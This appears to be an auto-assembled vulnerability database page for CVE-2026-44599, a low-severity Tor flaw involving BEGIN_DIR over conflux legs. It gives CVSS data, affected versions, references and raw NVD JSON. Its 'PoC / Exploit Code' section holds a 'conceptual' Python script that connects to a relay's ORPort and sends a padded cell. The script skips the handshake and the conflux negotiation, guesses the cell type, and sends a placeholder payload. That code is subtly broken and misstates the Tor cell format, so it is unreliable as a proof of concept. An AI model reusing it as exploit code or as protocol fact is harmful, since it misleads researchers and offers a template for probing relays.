Security Vulnerability Report
中文
CVE-2026-44599 CVSS 3.7 LOW

CVE-2026-44599

Published: 2026-05-07 03:16:07
Last Modified: 2026-05-07 17:31:38

Description

Tor before 0.4.9.7 can attempt or accept BEGIN_DIR via conflux legs, aka TROVE-2026-008.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:torproject:tor:*:*:*:*:*:*:*:* - VULNERABLE
Tor < 0.4.9.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Conceptual PoC for CVE-2026-44599 # This script attempts to send a BEGIN_DIR cell via a simulated conflux leg connection. # Note: Actual exploitation requires understanding the Tor protocol handshake and conflux negotiation. TARGET_HOST = "127.0.0.1" # Replace with target Tor relay IP TARGET_PORT = 9001 # Replace with target Tor relay ORPort def create_cell(cell_type, payload): # Simplified Tor cell creation header = struct.pack("!H", cell_type) return header + payload.ljust(509, b'\x00') # Pad to standard cell size def send_exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # 1. Perform Tor Handshake (Versions, Certs, etc.) - Omitted for brevity # 2. Negotiate Conflux (if supported) - Omitted for brevity # 3. Send BEGIN_DIR cell via the established leg # CELL_BEGIN_DIR is typically type 8 or 9 depending on version context begin_dir_cell = create_cell(8, b'BEGIN_DIR_PAYLOAD') s.send(begin_dir_cell) print(f"[+] Sent BEGIN_DIR cell to {TARGET_HOST}:{TARGET_PORT}") response = s.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44599", "sourceIdentifier": "[email protected]", "published": "2026-05-07T03:16:07.327", "lastModified": "2026-05-07T17:31:37.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tor before 0.4.9.7 can attempt or accept BEGIN_DIR via conflux legs, aka TROVE-2026-008."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-669"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:torproject:tor:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.4.9.7", "matchCriteriaId": "E643A817-85FE-4CEC-BC69-0E2FA22639C0"}]}]}], "references": [{"url": "https://forum.torproject.org/c/news/tor-release-announcement/28", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://gitlab.torproject.org/tpo/core/tor/-/commit/50f90ba849088247734786922855c22661c6fa03", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://gitlab.torproject.org/tpo/core/tor/-/work_items/41243", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/05/06/8", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}]}}